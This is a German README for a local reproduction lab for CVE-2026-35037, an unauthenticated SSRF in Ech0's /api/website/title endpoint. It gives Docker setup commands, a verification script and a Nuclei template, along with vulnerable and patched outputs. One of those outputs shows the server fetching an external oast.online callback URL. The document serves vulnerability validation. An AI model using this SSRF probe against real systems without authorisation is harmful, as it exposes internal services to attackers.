
Lokales isoliertes Reproduktionslabor für CVE-2026-35037, eine nicht authentifizierte SSRF-Schwachstelle im GET /api/website/title-Endpunkt von Ech0. Enthält Docker-Compose-Setup, Verifizierungsskript und Nuclei-Template zur Validierung.
Dieses Repository enthält ein lokales, isoliertes Reproduktionslabor für CVE-2026-35037, eine nicht authentifizierte SSRF-Schwachstelle im Endpunkt GET /api/website/title von Ech0.
Das Labor verwendet einen kontrollierten lokalen Evidenzserver anstelle von Cloud-Metadaten oder Drittanbieter-Infrastruktur.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1; NVD beschreibt Versionen vor 4.2.84.2.8GET /api/website/titlewebsite_urlReferenzen:
docker-compose.yml: startet Ech0 und einen lokalen Evidenz-HTTP-ServerDockerfile.ech0-lab: erstellt Ech0 aus dem offiziellen GitHub-Tagverify-cve-2026-35037.sh: sendet die kontrollierte SSRF-Überprüfungsanfrageevidence/index.html: kontrollierte HTML-Seite mit einem eindeutigen <title>nuclei/CVE-2026-35037.yaml: nuclei-VorlagenkandidatHistorische anfällige Docker-Tags wie sn0wl1n/ech0:4.2.1 waren bei der Erstellung dieses Labors nicht verfügbar. Das Labor erstellt stattdessen aus den offiziellen GitHub-Tags von lin-snow/Ech0:
v4.2.1 für den anfälligen Kandidatenv4.2.8 für den gepatchten VergleichDas lokale Dockerfile vermeidet auch Upstream-Build-Probleme, die mit dem historischen build.Dockerfile beobachtet wurden.
curlnucleiFühren Sie dies nur in einem lokalen isolierten Labor aus. Verwenden Sie diese Befehle nicht gegen Systeme Dritter. Verwenden Sie sie nur gegen Systeme, die Ihnen gehören oder für deren Test Sie eine ausdrückliche schriftliche Genehmigung haben.
Starten Sie Ech0 v4.2.1:
ECH0_TAG=4.2.1 docker compose up -d --build
Senden Sie die kontrollierte Überprüfungsanfrage:
sh verify-cve-2026-35037.sh
Erwartete anfällige Antwort:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Bestätigen Sie, dass Ech0 den kontrollierten Evidenzserver erreicht hat:
docker compose logs evidence
Beobachtetes Evidenzprotokoll:
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Starten Sie Ech0 v4.2.8:
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Führen Sie die gleiche Anfrage aus:
sh verify-cve-2026-35037.sh
Beobachtete gepatchte Antwort:
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Überprüfen Sie die Vorlage:
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Ausführen gegen die anfällige Version v4.2.1:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Beobachtetes anfälliges Ergebnis:
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Ausführen gegen die gepatchte Version v4.2.8:
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Beobachtetes gepatchtes Ergebnis:
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ innerhalb des Docker-Compose-Netzwerks.{{interactsh-url}} und erfordert OAST/interactsh-Unterstützung.{{interactsh-url}}, die standardmäßig die Interactsh-Server von ProjectDiscovery wie oast.online oder oast.fun kontaktiert. Verwenden Sie -iserver, um den Server zu überschreiben, oder -ni, um interactsh zu deaktivieren.